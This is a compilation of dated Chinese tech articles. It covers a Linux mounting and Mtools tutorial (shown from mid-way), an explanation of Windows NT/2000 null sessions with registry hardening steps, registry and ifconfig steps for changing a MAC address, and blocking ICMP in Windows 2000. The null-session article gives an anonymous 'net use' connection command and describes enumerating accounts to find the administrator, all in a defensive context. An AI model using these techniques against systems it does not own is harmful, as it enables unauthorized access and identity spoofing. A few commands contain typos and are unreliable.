    mkdir /mnt/floppy
    接着用装载指令将软盘中的内容装载到这一目录中：
    mount －t msdos /dev/fd0 /mnt/floppy
    此后你就可以在/mnt/floppy下完全访问到软磁盘中的内容了。当然你亦可以用vfat这一文件系统类型代替msdos以使你能正确访问到软盘上的长文件名字，或者是用ext2代替它以使你可以访问到Linux文件格式的软盘。
    2．装载FAT 32格式的C盘
    在/mnt目录下为之创建一个目录winc（winc以及其他的装载目录是笔者的假设，你可以用自己喜欢的其他合法字符去命名这些目录）：
    mkdir /mnt/winc
    用装载指令将C盘内容装载入该目录：
    mount －t vfat /dev/hda1 /mnt/winc
    3．装载光盘
    在/mnt目录下为你的光盘驱动器创建一个目录cdrom（有的Linux系统安装时已为你完成了这件事）：
    mkdir /mnt/cdrom
    如果你的光盘驱动器安装在primary slave上，设备文件名就是/dev/hdb；如果安装在secondary master上，设备文件名就是/dev/hdc。假设你的光盘驱动器挂在secondary master，就用下面的装载指令：
    mount －t iso9600 /dev/hdc /mnt/cdrom
    由于Linux版本的不同，你所用的系统或者会使用这样的指令来装载光盘：
    mount /dev/cdrom
    或mount /mnt/cdrom
    二、卸载（umount）
    如果你已经用指令将软盘装载进相应目录，就不要直接将它们从软驱中取出来，否则可能会导致信息丢失；已经装载的光盘驱动器更是会令面板上的弹出键暂时失效以阻止你将光盘直接取出。
    在你取出它们之前，首先要确定已经没有用户对它们进行访问操作，包括没有工作窗口处在该磁盘驱动器被装载的目录。卸载指令的格式如下：
    umount 卸载目录名
    如用户想要卸载软盘，可以用如下指令：
    umount /mnt/floppy
    三、进阶使用
    （一）为装载指令增加简捷的形式
    用户可以在系统的配置文件/etc/fstab中指定一些常用的需要装载的驱动器，以便用更简捷的指令来装载它们，下面给出一个添加Windows系统的C盘进配置文件的例子：用文件编辑工具vi（也可以用其它你熟悉的文件编辑工具）打开/etc/fstab，我们会看到系统已经为根目录“/”、软磁盘驱动器、光盘驱动器等指定了文件系统类型和设备文件名以及装载目录（可能会因为所用的Linux版本不同，被指定的驱动器会有出入，不过用户可以参照下面的例子做出改动）。你既可以改变它们的预设值，也可以在其中添加新的驱动器。用箭头将光标移到最后一行，将下面一行加入文件：
    /dev/hda1 /mnt/winc vfat defaults 0 0
    如果还想装载硬盘内的其它分区，可以依次加入。完成后保存文件并退出。不要忘记相应的创建目录/mnt/winc。此后你就可以用如下指令装载Windows系统的C盘了：
    mount /mnt/winc
    （二）启动时自动装载磁盘驱动器
    用户可能会希望系统在启动时可以将你惯用的磁盘驱动器（如硬盘中的Windows分区或者是光盘驱动器）自动装载，以减轻每次启动后都要手动装载的麻烦。你可以用以下方法实现自动装载的功能：
    用文件编辑工具打开/etc/fstab，将刚才我们加入的那一行中的defaults改成auto，如：
    /dev/hda1 /mnt/winc vfat auto 0 0
    对于其它想在启动时就装载的磁盘驱动器，都可以将defaults改成auto。需要注意的是，对于硬盘上的Linux分区（包括ext2和swap）并不需要作出这样的改动。
    重新启动系统以后，在/mnt/winc目录下，你就可以看到系统在启动时就装载好的Windows系统的C盘了。
    四、使用Mtools
    在Linux中想要共享Windows系统资源，除了上面介绍的装载（mount）命令之外，还有一组名为Mtools的软件包可以实现这一功能。和大多数实用工具一样，Mtools软件包亦是Linux系统默认的安装套件。你可以在http://mtools.ltnb.lu/下载到它的最新版本mtools－3.9.7.tar.gz。
    （一）Mtools命令
    对于熟悉DOS命令的用户来说，Mtools命令会让他们感觉到像回到了DOS的世界。在下面的表格中我们可以看出它们有多么相似：
    很显然，Mtools命令是简单地在DOS命令前加上了一个m前缀，功能还是和在DOS下一样的。须要注意的是，更改目录路径在DOS命令中可以有cd和chdir两种命令格式，但是在Mtools中只有mcd一种格式。类似的在Mtools中没有对应的命令还有mkdir、rmdir、rename等等。
    （二）mtools.conf文档的配置
    因为Mtools是一个仿真DOS命令的软件包，所以它也保存着DOS系统下的磁盘驱动器概念。Mtools不但可以实现A盘 、B盘、 C盘的概念，对于一些特殊驱动器（如ZIP驱动器）更有专门的命令（mzip）以让用户方便地进行操作。在默认的环境下，A盘和B盘分别对应着两个软盘驱动器（如果有的话），N盘则对应着DOSMU启动盘的镜像文件。
    我们可以通过修改/etc/mtools.conf文档来改变默认的配置，当然在做出修改之前你仍要对Linux下的设备文件名有相当的认识才行（请参考上一期本版有关设备及其文件名的介绍）。假设你的机器有一个1.44MB软驱（A），硬盘挂在第一个IDE接口的主位置上，在第一个分区（C盘）中安装有Windows操作系统，光驱挂在第二个IDE接口的主位置上（D盘），以及SCSI盘等，则可以对mtools.conf文档简单配置如下：
    mtools.conf
    drive a: file=″/dev/fd0″ exclusive 1.44m
    drive c: file=″/dev/hda1″
    drive d: file=″/dev/hdc″
    drive X: file=″/dev/rdsk/c0t5d0s2″ partition=4 scsi=1 nodelay
    （三）Mtools命令的使用
    Mtools的命令系统和DOS有很多相似之处，比如在命令后面可以加不同的参数以实现更为丰富的功能（Mtools命令的参数使用方法是在命令后面加“－<参数>”，你可以把它想象成用“－”代替了DOS命令使用的“/”），可以使用通配符“?”和“＊”。更为方便的是，使用Mtools不需要事先装载（mount）和事后卸载（umount）。
    下面我们以目录列表命令mdir为例作说明(想知道其它命令的使用格式和更多的可用参数可以用man 命令查看相关帮助系统)。mdir的功能是对DOS目录和其中的文档进行列表操作。命令格式如下：
    mdir [－/] [－f] [－w] [－a] [－X] msdosfile [msdosfile]
    各命令参数的功能分述如下：
    /：输出当前路径下的所有目录和文档，相当于DOS命令dir中的“s”参数；
    f：列表时不尝试计算当前分区的自由空间，对于大硬盘来说，这样做可以节省一些读入和扫描分区表（FAT）的时间；
    w：列表时在一行中显示多个目录文档，这种输出格式将不显示文档的大小和创建时间，相当于DOS命令dir中的“w”参数；
    a：列出隐藏的目录文档；
    X：简要列表， 列出路径名而不列出其它附加的信息。
    一些具体的应用实例：
    1．列表A盘下的所有目录文档（不包括隐藏的目录文档）
    mdir －/ a:
    2．列表C盘Windows目录下含有“abc”的目录文档
    mdir c:/windows/＊abc＊
    或者mdir c:\windows\＊Abc＊
    注：在Mtools命令中，/和\是可以混用的。又因为列表的是DOS系统下的文档，对大小写并不敏感，所以“abc”和“Abc”在这里是等价的。而通配符“＊”的用法和DOS命令亦有所不同。
    五、在Windows系统中共享Linux系统的文档
    无论对于刚接触Linux的新手还是对之已经熟悉的高手，恐怕都免不了想在Windows系统中调阅Linux系统的文档。这可以使用在Windows系统下观看Linux分区的小软件（如fsdext2等）。这里再向各位推荐两种可以实现这种功能的小软件。
    (一)Linuxindos
    Linuxindos是一个不到500KB的小程序，笔者找到的版本是Beta 0.9的DEMO版，用户可以在http://best.163.com/～linux/soft/下载试用。程序不需安装就可以在Windows系统下运行，使用也非常简单。
    在Windows系统下将linuxindos.zip解压到硬盘目录，用户就会看到一个带着企鹅图标的可执行程序LiD95Demo.exe。启动程序后，会出现一个接口非常简单的窗口，当用户挑选一个含有Linux系统文档的磁盘驱动器以后，Linux分区中的所有文档就会显示出来，左边窗口列出的是Linux分区中的目录，而右窗口就列出了目录内的文档，感觉就像在Windows的资源管理器中一样。
    (二）Explore2fs
    这是一个更为小巧的自由软件，大小约308KB，用户也可以在http://best.163.com/～linux/soft/下载使用。正如它的名字一样，这是一个有着类似资源管理器窗口的程序，通过它你可以读取Linux系统下的分区。和Linuxindos一样，Explore2fs的主视窗亦分为左右两个，左边显示的是Linux中的目录，而右边显示的就是目录中的文档了，可以简单地将右边视窗中的文档直接拖到Windows系统分区中。
    在右边视窗中选择好文档后，按下鼠标右键可以选择相应的操作，“Export file”是直接导出文档，而“Export to Text”则是除去文档的分隔符后导出和TEXT兼容的文本文档。


在NT-2000下的空连接

作者：Joe Finamore

概述

谜语："什么时候是NULL而不是null？"

答案："当它是一个空连接时。"

空连接是在没有信任的情况下与服务器建立的会话，此文将讨论在NT4.0及Windows 2000下的空连接问题，将研究连接的使用及弱点，同时将显示如何控制和消除这些弱点。

在NT 4.0下的LANMAN会话

在我们开始讨论空连接之前，我们需要知道连接是什么，有一个非常好的关于NTLM验证的讨论在URL：

http://www.[M$].com/msj/defaultframe.asp?
page=/msj/0299/security/security0299.htm
&nav=/msj/0299/newnav.htm

security/security0299.htm&nav=/msj/0299/newnav.htm

Windows NT 4.0使用挑战响应协议与远程机器建议一个会话，这个会话是一个安全隧道，通过它参与隧道的机器之间可以互通信息，这个事件的顺序如下：

1) 会话请求者（客户）对会话接收者（服务器）传送一个数据包，请求安全隧道的建立。

2) 服务器产生一个随机的64位数（挑战）传送回客户。

3) 客户取得这个由服务器产生的64位数，用试图建立连接的帐号的口令打乱它，将结果返回到服务器（响应）。

4) 服务器接受响应发送到本地安全验证（LSA），LSA确认请求者身份通过使用用户正确的口令核实响应。如果请求者的帐号是服务器的本地帐号，核实本地发生；如果请求的帐号是一个域的帐号，响应传送到域控制器去核实。当对挑战的响应核实为正确，一个访问令牌产生，然后传送给客户。客户使用这个访问令牌连接到服务器上的资源直到建议的会话被终止。

在Windows 2000下 LANMAN 会话 - Kerberos 验证

Windows 2000使用Kerberos 建立一个会话"入场券"，对Kerberos v5的RFC文档可在下面地址找到：

http://www.ietf.org/rfc/rfc1510.txt

事件发生的顺序如下：

1) 客户为一个TGT（票据授权票据）传送一个请求到KDC（密钥分发中心），这个请求包含了用用户口令散列算法加密的预验证数据，这个预验证数据也在最后包含了一个保证TGT不被截获的时间戳。KDC运行在承认入场券的域控制器上。

2) KDC 从它的数据库中提取用户标识的散列，用它解密预验证数据，如果解密进行有一个非常近的时间戳，进程继续。

3) 服务器产生一个TGT，它包含其它一些事项，如一个用用户散列口令加密的会话key，它也包含了标识用户和所属组的安全标识符（SID）。

4) 用户使用用户口令的散列解密会话key。

5) 客户使用入场券访问服务器上的资源，客户现在被验证，一个会话建立。

用这种方式产生的入场券包含下面未加密的信息：

发布入场券的Windows 2000 域的域名

入场券标识的名字

入场券也包含了下面加密的信息：

入场券"标记"

会话加密key

包含被发布入场券的用户帐号的域名

入场券被发布的用户的主要的名字

会话开始时间

会话结束时间：当入场券过期，入场券有一个有限的使用期限。

客户机器的地址

包含客户允许访问信息的验证信息

什么是空连接?

现在我们理解了一个连接是什么，连接包含的访问到资源的验证信息，我们可以掀开空连接的神秘面纱了。一个空连接是与一个服务器的连接的建立，没有用户验证执行。换句话说，它是一个到服务器的匿名访问。在建立连接时没有提供可信任的用户名和口令。访问令牌（在Windows 2000上的"验证数据"）包含对用户的"S-1-5-7"的SID，一个"ANONYMOUS LOGON"的用户名，这个访问令牌包含下面伪装的组：

Everyone

NETWORK

在安全策略的限制下，这将授权访问到上面两个组有权访问的一切信息。

如何创建空连接

从一个用户点来看，一个与服务器的连接建立或在登陆时，或在其它任何需要访问到服务器资源时。例如，一个名为"BOB"的用户希望访问到名为"DATASTORE"的服务器上共享名为"DATA"的某些文件，先前他并没有验证，他将发布下面的命令：

net use * \\DATASTORE\DATA * /user:BOB

他将提示输入他的口令，相关的验证方法将去掉，假定他被验证，他将产生一个"访问令牌"或"入场券"，使用这些，他将能连接到希望的共享。

另一方面，如果空连接允许，"DATA"共享作为一个"空共享"，他只需要简单输入：

net use * \\DATASTORE\DATA "" /user:""

这将连接Bob作为一个匿名用户到"DATA"共享，不需要提供用户名或口令…一个黑客的梦想！

空连接也能通过语言如C++建立在API对话上，一个使用WIN32 API调用建立空连接的如下：

http://www.securityfocus.com/cgi-bin/vulns-item.pl
?section=exploit&id=494

空连接能使用来建立连接到"空连接命名管道"，如果服务器是如此配置的话。一个"管道"是一个便利，它允许在一个系统上的进程与其它不同系统上的进程通讯。空连接也通常对共享建立连接，包括系统共享如\\servername\IPC$，IPC$是一个特殊的隐藏共享它允许在同一个系统上的两个进程间通讯（内部进程传达），IPC$共享是在机器上对服务器进程的一个分界面，它也关联一个管道所以它能被远程访问。

为什么创建空连接?

这个问题逻辑上说是："为什么[M$]提供对空连接的支持？"在[M$]吹捧NT和Windows 2000的安全时，空连接不是或多或少绕过了验证安全吗？

在一般的感觉上，"是"，空连接趋向于破坏操作系统的下层的安全结构。然而，有强制性的原因合并它们进入[M$]的网络，空连接最初的目的是允许未验证的机器从服务器获得浏览列表。应该记得NT和Windows 2000在机器在组里是作为"域"，域是共享同样安全边界的机器的集合，也就是说，它们共享着同样的用户和机器帐号数据库，也包括连接到彼此的口令。一个用户口令通常在域中验证一个用户，一个机器口令通常去维护机器之间和域控制器之间的安全通道。在这两样上，口令通常在机器/用户和域服务器之间建立一个信任尺寸。

如果所有的通讯是在域内部，空连接将是不需要的，这不是问题，然而，经常需要域之间连接去执行下面的任务：

从一个不同域中的服务器上得到浏览列表

验证不同域中的用户

这个问题通过域之间信任关系的概念来部分完成，信任关系是两个不同域之间的一种协作关系，通过一个域同意去信任其它域的安全完整性，因此在两个域的控制器间允许信息流。在建立信任关系时口令是被商议的，基本上，信任关系是两个域间的一种验证关系。

问题是信任关系并不能解决在一个站点上内部连接的所有问题。例如，首先，建立信任关系的进程，如果"DOMAIN1"希望与"DOMAIN2"建立信任关系，它需要联系那个域的PDC为安全隧道协商一个口令，为实现此，它需要列举域中的机器，决定"DOMAIN2"的PDC的名字，有许多发现名字（随后，地址）的方法，包括WINS、DNS、LMHOSTS、AD （活动目录）等。空连接使这个进程更容易实现，因为它允许从一个非验证的机器上带有极少优先的知识直接列举域中机器和资源。

有其它情节受益于空连接，例如，考虑到在多个域站点上的管理员，因某种原因，在所有的域之间并没有建立信任关系。在一个管理员的工作过程中，经常需要连接在所有域中的资源，空连接使用户、机器和资源的列举更容易。

另一种情形，也需要空连接，就是LMHOSTS.SAM文件使用"INCLUDE "标签的环境下，包含included文件的共享点必须安装为空连接共享，关于这点的文章可以在以下站点找到：

http://support.[M$].com/default.aspx?
scid=kb;EN-US;q121281

有一些更早一些的文章，最初是在1994年发布，但在8/8/2001更新，它应该被注释掉了，在NT 4.0 和Windows 2000 的模板LMHOSTS.SAM 文件中，许多LANMAN 方面的在Windows 2000中保留了下来。

在这也应该被提到的是，有许多卖主鼓吹在他们的软件中空连接的使用，关于这些方面一些有意思的文章在：

http://www.dcs.ed.ac.uk/home/archives/bugtraq/msg00784.html

这篇文章引用了一个卖主的一个安装进程，它在服务器上创建空连接去执行它的任务，可以想象对服务器而言是多危险，而管理员却又没意识到。

在最后一个空连接有用的例子下，一个服务，运行在本地"SYSTEM"帐号下，需要访问到网络某些资源，这仅仅可能如果资源通过一个空连接可访问，在[M$]有关于此方面的文章：

http://support.[M$].com/default.aspx?
scid=kb;EN-US;q124184

关于这个问题，[M$]并不推荐打开空连接，然而，他们推荐使用用户特定的帐号去运行服务。

什么是空连接的弱点？

现在我们对会话和空连接有了一个更好的理解，通常情况下，特别是空连接，表现出哪些弱点呢？有几个可能引起安全关注的原因，就如同我们无庸置疑地意识到，访问控制列表（ACL），即一系列ACE（访问控制条目）的列表，控制着在NT或Windows 2000 域中资源的访问。一个ACE通过SID指定一个用户/组，列举用户/组被允许或否认的权限。位于ACE的问题是授权对内嵌的组"Everyone"，用NT的说法，"Everyone"意味着字面上的每个人，如果"Everyone"组通过ACE有权访问到一个资源，就意味着可以访问那个资源，如管道或共享，也对"Everyone"开放的，然后资源对任何人是匿名可访问的。

那，包含哪些种类的事情呢？如果你执行一个NT4.0的out-of-the-box安装，你将注意到许多事情对"Everyone"都是可访问的，特别是系统盘的根（通常C：\），一个显著的对"Everyone"开放的是包含修复信息的文件夹：

%SystemRoot%\Repair （通常："C:\Winnt\Repair"）

一对更敏感的文件，如"sam._"，有更限制性的安全要求，但文件的大多数是位于可读的位置，为某种原因，如果一个共享点的父文件夹可用，共享是一个空连接，这个文件对任何匿名入侵者都是容易利用的。你也将注意到注册的许多区域对"Everyone"是可访问的，这使连接到一个服务器的IPC$共享成为一种可能，运行注册表编辑器（REGEDT32.EXE）去查看，甚至改变某些注册表值…来自于匿名的便利。

另外通过空连接暴露的弱点是在域中用户帐号的列举，为什么这是一个问题？因为它移走了侵占一个域帐号的一半的屏障，为伪装成其他人，你需要两部分信息：

用户名

密码

一旦你知道了用户名，它就仅仅只是一个猜测或破坏口令的问题了。如果你将域中已重命名的管理员的帐户（你肯定已重命名了管理员帐户，不是吗？）暴露的话，那么这种弱点也就达到了它的顶点。入侵者只需连接一个空会话，然后枚举用户寻找SID为500的用户即可。可以在一下站点找到可完成此任务的例子代码：

http://www.securityfocus.com/cgi-bin/vulns-item.pl
?section=exploit&id=494

这个弱点对著名的"红色代码攻击"是一个非常重要的部分，它在NT4.0的SP3中得到解决。

在一个域中机器或资源的枚举也使得某人的闯入更容易，如果一个可以匿名得到域中所有机器的名字，然后列出这些机器上的资源共享，这就变成一件很简单的事情，尽力去试所有的资源直到找到一个对"Everyone"是开放的。默认情况下系统盘的根对"Everyone"是开放，默认共享级安全应用到一个新创建的共享授权"完全访问"对"Everyone"，这个问题是显然的。

如何保护以防范攻击?

最好的阻止办法是对所有范围的可能不允许空连接，为做到这一点，攻击的评估是一个好的开始，"DumpSec"工具列举系统上的共享，同时也对每个提供安全约束，它也关注注册表权限执行其它有用的安全审核任务，DumpSec可以从以下得到：

http://www.systemtools.com/somarsoft/

有一对相关的注册表键：

HKLM\System\CurrentControlSet\Control\Lsa
\RestrictAnonymous

"HKLM"参考配置单元"HKEY_LOCAL_MACHINE"，如果设置为"1"，匿名连接被限制，一个匿名用户仍然可以连接到IPC$ 共享，但限制通过这种连接得到信息，"1"值限制了匿名用户列举SAM帐号和共享；在Windows 2000 中增加了"2"，限制所有匿名访问除非特别授权。

其它应该检查的键为：

HKLM\SYSTEM\CurrentControlSet\Services\
LanmanServer\Parameters\NullSessionShares

和：

HKLM\SYSTEM\CurrentControlSet\Services\
LanmanServer\Parameters\NullSessionPipes

这些是MULTI_SZ （多线程的）注册参数，它分别地列举共享和管道，打开空连接。如果你不想打开的话，确认没有共享和管道打开。也放置安全在这些键上确认不容易更改，确认仅"SYSTEM"和"Administrators"有权访问到这些键。

在Windows 2000，安全策略中安全保护的地方，策略设置通过相关嵌入式MMC（[M$]管理控制台）。在一个域控制器（DC）上，从"管理工具"中下拉菜单"域安全策略"MMC面板，在非DC上，下拉菜单"本地安全策略"MMC面板，你将发现一个条目：

"对匿名连接的额外限制"

在3个可能设置的值：

"无。依赖于默认许可权限"

"不允许枚举SAM帐号和共享"

"没有显式匿名权限就无法访问"

最后的值是最安全的，它相当于"2"在注册表值：

HKLM\System\CurrentControlSet\Control\
Lsa\RestrictAnonymous

上面讨论的，确信检验"有效的设置"，在其它水平上的策略设置能影响"有效设置"。

其它明智的步骤是限制注册表的访问，在Windows 2000 和以后版本中默认只有仅管理员和备份操作员有权网络访问到注册表，它是一个好的主意，在你的服务器上检查远程注册表访问设置，可以通过确认安全权限在以下注册键中来完成：

HKLM\System\CurrentControlSet\Control\
SecurePipeServers\winreg

当一个用户企图连接到远程计算机的注册表时，在目标机器上的"server"服务检查上述（winreg）键的存在，如果这个键不存在，用户允许连接到目标机器的注册表，如果键存在，在键上的ACL被检查，如果ACL给用户读或写的访问，用户可以连接到注册表。一旦用户允许远程连接到注册表，在单独键上的ACL开始生效。例如，如果在一个给定键上安全设置为对"Everyone"允许"读"访问，通过空连接匿名"读"访问到注册表是可能的，不是一个好的想法！它将使人担心和危险的，从所有注册键中移走对"Everyone"的远程安全，所以最好的想法是不允许访问除非特定的帐号和组。有几个值在"winreg"键也应用，这些值在NT4.0是：

HKLM\...\winreg\AllowedPaths\Machine

HKLM\...\winreg\AllowedPaths\Users

这两个值是MULTI_SZ类型的，在Windows 2000下，默认没有"Users"值，这些键分别枚举哪些注册键对机器和用户的远程访问是开放的。它们能覆盖在"winreg"键上的安全，机器可能需要访问对某些服务如目录复制和假脱机打印，有两篇关于此方面的文章也包括了远程注册表访问的细节：

http://support.[M$].com/directory/
article.asp?ID=KB;EN-US;Q186433

http://support.[M$].com/directory/
article.asp?ID=kb;en-us;Q153183

这是一个好的想法，在服务器上安装完软件后，确认安装进程没有打开任何空连接共享和管道，事实上，在一个"真实"服务器上安装前先在一台试验机上测试总是一个好的主意，特别是如果这台服务器是放在DMZ区或外部LAN。匿名访问到一台公网或半公网的机器将是损失惨重的。

也需要记住的是对一个空连接安全令牌包含两个预设组"Everyone"和"NETWORK"，你可以定位在卷上文件的具体位置，通过更改权限来进行保护。当然这些卷必须是NTFS。除非你确实需要一个空连接来访问资源，否则用内置组"Authenticated Users"替代"Everyone"组。XCACLS或一个第三方的访问控制管理软件可完成此任务。然而，进行这样的操作一定要小心，尤其是用于子文件夹时。当用XCACLS时一定要打开"/E"选项，以确认是在编辑ACL而不是替代它们。在所有发现"Everyone"组的地方，将其删除，同时把相同的权限添加给"Authenticated Users"组。另外，每创建一个共享时，一定要将"Everyone"组从ACL中删除，代以"Authenticated Users"或合适的用户或组。

最后一步能采用的是设置策略对：

"从网络上访问计算机"

如果"Everyone"组享有这种特权的话，从组中移走，在从"Everyone"组撤走前确保添加这个特权给相应的用户和组。在NT4.0下，如果为一个非DC的机器上通过"用户管理器"，在一个域控制器上通过"域用户管理器"实现。在Windows 2000下通过在相应MMC安全策略管理单元下更改"用户权力指派"下的策略。

结束语

空连接创建是为了便利内部平台通讯，特别是在服务级上，然而，使用空连接也对可能危及系统安全的匿名用户暴露了信息。如果可能的话，从你的系统上完全消除空连接，如果因为其它原因不可能实现，采取所有可能的预防措施确保只暴露你想暴露的信息。如果没有的话，空连接能提供一个便利的入口进出你的系统，它可能导致安全危险。


在win2000-9X-linux下改网卡的MAC的方法

win2000修改方法：

1、在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\0000、0001、0002等主键下，查找DriverDesc内容为你要修改的网卡的描述的，如0000。下面的方法和rifter《修改MAC地址的范例》中提到的一样，我就照搬了（注解的地方以“^^”标明）。

2、在其下，添一个字符串，名字为NetworkAddress，值设为你要的MAC地^^^^^【指在0000主键下】址，要连续写。如004040404040。

3、然后到其下NDI\params中加一项NetworkAddress的主键，在该主键下^^^^^【也是指在0000主键下】添加名为default的字符串，值写要设的MAC地址，要连续写，如004040404040。【实际上这只是设置在后面提到的高级属性中的**初始值**，实际使用的MAC地址还是取决于在第2点中提到的NetworkAddress参数，而且一旦设置后，以后高级属性中值就是NetworkAddress给出的值而非default给出的了。】

4、在NetworkAddress的主键下继续添加名为ParamDesc的字符串，其作用为指定NetworkAddress主键的描述，其值可为“MAC Address”，这样以后打开网络邻居的属性，双击相应网卡项会发现有一个高级设置，其下存在MAC Address 的选项，就是你在注册表中加的新项NetworkAddress，以后只要在此修改MAC地址就可以了。

5、关闭注册表，重新启动，你的网卡地址已改。打开网络邻居的属性，双击相应网卡项会发现有一个MAC Address的高级设置项。用于直接修改MAC地址。

linux下网卡的MAC地址修改

关闭网卡：(否则会报告说设备忙)/sbin/ifconfig eth0 down

然后改地址：/sbin/ifconfig eth0 hw ether 00:AA:BB:CCD:EE

然后启动网卡:/sbin/ifconfig eth0 up

可能还需要重新设置路由。视情况而定。

在Win9x

1、首先打开注册表，找到HKEY_LOCAL_MACHINE\system\Currentcontrolset\services\classes\net\0000、0001、0002等下，观察DriverDesc内容为你要修改的网卡的描述。

2、在其下，添一个字符串，名字为NetworkAddress，值设为你要的MAC地址，要连续写。如004040404040。

3、然后到其下 NDI\params中加一项NetworkAddress的主键，在该主键下添加名为default的字符串，其值写你要设的mac地址，要连续的写，如004040404040

4、在NetworkAddress的主键下继续添加名为ParamDesc的字符串，其作用为指定nettwork-Address主键的描述，其值可为“MAC Address”，这样以后打开网络邻居的属性，双击相应网卡项会发现有一个高级设置，其下存在MAC Address 的选项，就是你在注册表中加的新项NetworkAddress，以后只要在此修改MAC地址就可以了。

WinNT下改网卡地址的方法：

打开注册表，HKEY_LOCAL_MACHINE->SYSTEM->CurrentControlSet->Services

找到网卡的键值在Parameters项里添加字串值：NetworkAddress 值为：“004040404040” （这里就是你要改的mac值，可自己随便填12位）

win2000下

在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}下，（这个项对应的是网卡配置）

找到你的ETHERNET网卡项000x，然后添加或修改一个名为Network Address的字符串值，填入你需要修改的MAC地址就可以了。

名称：NetworkAddress

数据：“004040404040” （这里就是你要改的mac值，可自己随便填12位）

然后重新启动计算机，ipconfig看一下，就知道改好了没。


在Win2000中如何关闭ICMP(Ping)

Shotgun(首发于天极网)

    ICMP的全名是Internet Control and Message Protocal即因特网控制消息/错误报文协议，这个协议主要是用来进行错误信息和控制信息的传递，例如著名的Ping和Tracert工具都是利用ICMP协议中的ECHO request报文进行的（请求报文ICMP ECHO类型8代码0，应答报文ICMP ECHOREPLY类型0代码0）。

    ICMP协议有一个特点---它是无连结的，也就是说只要发送端完成ICMP报文的封装并传递给路由器，这个报文将会象邮包一样自己去寻找目的地址，这个特点使得ICMP协议非常灵活快捷，但是同时也带来一个致命的缺陷---易伪造（邮包上的寄信人地址是可以随便写的），任何人都可以伪造一个ICMP报文并发送出去，伪造者可以利用SOCK_RAW编程直接改写报文的ICMP首部和IP首部，这样的报文携带的源地址是伪造的，在目的端根本无法追查，（攻击者不怕被抓那还不有恃无恐？）根据这个原理，外面出现了不少基于ICMP的攻击软件，有通过网络架构缺陷制造ICMP风暴的，有使用非常大的报文堵塞网络的，有利用ICMP碎片攻击消耗服务器CPU的，甚至如果将ICMP协议用来进行通讯，可以制作出不需要任何TCP/UDP端口的木马（参见揭开木马的神秘面纱三）......既然ICMP协议这么危险，我们为什么不关掉它呢？

    我们都知道，Win2000在网络属性中自带了一个TCP/IP过滤器，我们来看看能不能通过这里关掉ICMP协议，桌面上右击网上邻居->属性->右击你要配置的网卡->属性->TCP/IP->高级->选项->TCP/IP过滤，这里有三个过滤器，分别为：TCP端口、UDP端口和IP协议，我们先允许TCP/IP过滤，然后一个一个来配置，先是TCP端口，点击"只允许"，然后在下面加上你需要开的端口，一般来说WEB服务器只需要开80(www)，FTP服务器需要开20(FTP Data)，21(FTP Control)，邮件服务器可能需要打开25(SMTP),110(POP3)，以此类推......接着是UDP，UDP协议和ICMP协议一样是基于无连结的，一样容易伪造，所以如果不是必要（例如要从UDP提供DNS服务之类）应该选择全部不允许，避免受到洪水（Flood）或碎片（Fragment）攻击。最右边的一个编辑框是定义IP协议过滤的，我们选择只允许TCP协议通过，添加一个6（6是TCP在IP协议中的代码，IPPROTO_TCP=6）,从道理上来说，只允许TCP协议通过时无论UDP还是ICMP都不应该能通过，可惜的是这里的IP协议过滤指的是狭义的IP协议，从架构上来说虽然ICMP协议和IGMP协议都是IP协议的附属协议，但是从网络7层结构上ICMP/IGMP协议与IP协议同属一层，所以微软在这里的IP协议过滤是不包括ICMP协议的，也就是说即使你设置了“只允许TCP协议通过”，ICMP报文仍然可以正常通过，所以如果我们要过滤ICMP协议还需要另想办法。

    刚刚在我们进行TCP/IP过滤时，还有另外一个选项：IP安全机制（IP Security)，我们过滤ICMP的想法就要着落在它身上。

打开本地安全策略，选择IP安全策略，在这里我们可以定义自己的IP安全策略。

    一个IP安全过滤器由两个部分组成：过滤策略和过滤操作，过滤策略决定哪些报文应当引起过滤器的关注，过滤操作决定过滤器是“允许”还是“拒绝”报文的通过。要新建IP安全过滤器，必须新建自己的过滤策略和过滤操作：右击本机的IP安全策略，选择管理IP过滤器，在IP过滤器管理列表中建立一个新的过滤规则：ICMP_ANY_IN，源地址选任意IP，目标地址选本机，协议类型是ICMP，切换到管理过滤器操作，增加一个名为Deny的操作，操作类型为"阻止"（Block）。这样我们就有了一个关注所有进入ICMP报文的过滤策略和丢弃所有报文的过滤操作了。需要注意的是，在地址选项中有一个镜像选择，如果选中镜像，那么将会建立一个对称的过滤策略，也就是说当你关注any IP->my IP的时候，由于镜像的作用，实际上你也同时关注了my IP->any IP，你可以根据自己的需要选择或者放弃镜像。

    再次右击本机的IP安全策略，选择新建IP过滤策略，建立一个名称为ICMP Filter的过滤器，通过增加过滤规则向导，我们把刚刚定义的ICMP_ANY_IN过滤策略指定给ICMP Filter，然后在操作选框中选择我们刚刚定义的Deny操作，退出向导窗口，右击ICMP Filter并启用它，现在任何地址进入的ICMP报文都会被丢弃了。

    虽然用IP sec能够对ICMP报文进行过滤，不过操作起来太麻烦，而且如果你只需要过滤特定的ICMP报文，还要保留一些常用报文（如主机不可达、网络不可达等），IP sec策略就力不从心了，我们可以利用Win2000的另一个强大工具路由与远程访问控制（Routing & Remote Access）来完成这些复杂的过滤操作。

    路由与远程访问控制是Win2000用来管理路由表、配置VPN、控制远程访问、进行IP报文过滤的工具，默认情况下并没有安装，所以首先你需要启用它，打开"管理工具"->"路由与远程访问"，右击服务器（如果没有则需要添加本机）选择"配置并启用路由及远程访问"，这时配置向导会让你选择是什么样的服务器，一般来说，如果你不需要配置VPN服务器，那么选择"手动配置"就可以了，配置完成后，主机下将出现一个IP路由的选项，在"常规"中选择你想配置的网卡（如果你有多块网卡，你可以选择关闭某一块的ICMP），在网卡属性中点击"输入筛选器"，添加一条过滤策略"from:ANY　to:ANY　协议:ICMP　类型:8 :编码:0　丢弃"就可以了（类型8编码0就是Ping使用的ICMP_ECHO报文，如果要过滤所有的ICMP报文只需要将类型和编码都设置为255）

    细心的朋友刚才可能已经发现，在输入、输出过滤器的下面，还有一个"碎片检查"功能，这个功能使用来应付IP碎片攻击的，这已经超出了本文所讨论的范围，我会在以后的拒绝服务攻击的文章中继续和大家一起探讨的。Win2000的路由及远程访问是一个功能非常强大的工具集，如果你好好地研究，一定能发现更多的功能和技巧，如果你有什么心得体会，也请不吝告诉我，我的Email地址是：Shotgun@xici.net。


在WIN9X下读取LINUX分区

    简 介
